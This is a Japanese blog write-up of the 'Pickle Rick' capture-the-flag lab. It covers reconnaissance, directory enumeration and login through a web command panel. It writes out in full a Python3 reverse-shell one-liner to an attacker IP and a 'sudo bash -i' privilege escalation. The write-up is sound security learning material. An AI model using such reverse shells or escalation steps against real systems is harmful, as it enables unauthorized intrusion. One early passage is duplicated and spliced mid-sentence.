最初に
Pickle Rickってなんだろうと思ってWikipediaで調べてみましたが、カオスでした(笑)
「Pickle Rick」は、アダルトスイムのアニメテレビシリーズ「リック・アンド・モーティ」の第3シーズンの第3話です。ジェシカ・ガオが脚本を書き、アンソニー・チュンが監督したこのエピソードは、2017年8月6日に初公開されました。ストーリーは、風変わりな科学者リック・サンチェスが家族療法のセッションに出席するのを避けるために自分自身をピクルスに変えるというものです。
引用元:https://en.wikipedia.org/wiki/Pickle_Rick をGoogle翻訳
まず自分が試したことで上手くいってはないですが、いろいろ自分が試行錯誤したことを記載しています
その後、Writeupをみて取り組んだことで先人たちのWriteupをみて解答を見つけた方法について記載しています。
なので、特段興味がなければWriteupをみて取り組んだことだけ見てもらえたらと思います
(備忘録で自分が試したことは記載しているのと、時系列で並べるためにこのようにしています)
自分が試したこと
nmapしたところ、ポート80番と22番が開いています
HTTPで接続してみるとWebページがみれます。
個人あてのメッセージをWebページとして公開するとはなかなかな度胸ですね(笑)
さっそくhydraでパスワードクラッキングしようとしたらapしたところ、ポート80番と22番が開いています
HTTPで接続してみるとWebページがみれます。
個人あてのメッセージをWebページとして公開するとはなかなかな度胸ですね(笑)
さっそくhydraでパスワードクラッキングしようとしたら、パスワード認証を受け付けていないとのエラーがでてきました。
つまり鍵認証のみということでしょうか
Burpsuitで見てみると、Webページの画像を/assets
からとってきていることがわかった(キャプチャは取り損ねた、、)
ちなみにgobusterしてみても、めぼしいところはassetsしかなかったです
/assets
をブラウザで見てみるといくつかのファイルと画像・GIFがありました。。
あんまり元のアニメを知らないから何とも言えないです、、、
JPEG画像についてはステガノグラフィーされているか確認したのですが、されていないようでした
GIFは以下のサイトを使ってフレームに分割してみたが、各フレームの画像に違和感はない。。
https://ezgif.com/split
抽出した画像をsetgseekしてみたが
picklerick.gifをフレーム分割してstegseekした結果の一部
fail.gifをフレーム分割してstegseekした結果の一部
Apache 2.4.41を使っていることから、何か脆弱性攻撃ができないかsearchsploitで調べてみたが、ヒットせず。。。
Writeupをみて取り組んだこと
わからなくなってしまったので、以下のWriteupをみました
https://fr33s0ul.tech/pickle-rick/
以下の流れで整理していきます
- Recon (偵察)
- Enumeration (列挙)
- GainingAccess (侵入)
- PrivEsc (権限昇格)
Recon (偵察)
このあたりは、自分が試したことを見ていただければと思います。。
Enumeration (列挙)
dirbで隠しコマンドを探します
こっちの方がgobusterよりコマンド簡単だし、検出率高いし、実行時間も短くて、いいですね~
robots.txtを見てみると、文字列がありました。
これは本来のrobots.txtのファイルではなさそうですね
/assetsは見ていましたし、index.htmlは最初のページなので、ほかはなさそうです
WriteupにはNiktoでも調査していたので、やってみます。
Niktoの説明は以下の記事がわかりやすかったです。
https://security-tech-lab.com/2023/04/07/nikto-option-security/
login.phpがありますね、、、
GainingAccess (侵入)
というわけで、ログインしてみます!
最初にアクセスしたページのソースにあったユーザー名のメモとrobots.txtの文字列を入れてみるとログインできました!
whoamiとCommands
のところ入力してみると、www-dataと返ってきました。
cat clue.txt
をしてみると失敗したみたい
(assetsにあったGIFはここで使われるのか、、、、)
What is the first ingredient that Rick needs?
ブラウザからはアクセスできるみたいです!
What is the second ingredient in Rick’s potion?
Python3が使えるみたいなので、リバースシェルをはってみます
リバースシェルのチートシートを参考に以下のコマンドを実行すると、、、
https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#perl
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.1.106",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
PrivEsc (権限昇格)
最後は権限昇格ということで、現在のユーザー(www-data)で何がroot権限でできるのかを確認したところ、なんでもできるみたい(笑)
What is the last and final ingredient?
root権限でなんでも実行はできますが、/rootにはアクセスできないみたいです
sudo bash -i
を実行してbashをroot権限で実行させることで、
そうすると、rootフォルダーにもアクセスでき、最後のフラグも確認できました
最後に
今回学んだことは以下3つでした!
- Enumeration (列挙) は複数ツールを使って行うことで抜け漏れがなくなる
- リバースシェルのチートシートは有能
- root権限でbashが使えれば、なんでもできそう(言い過ぎ)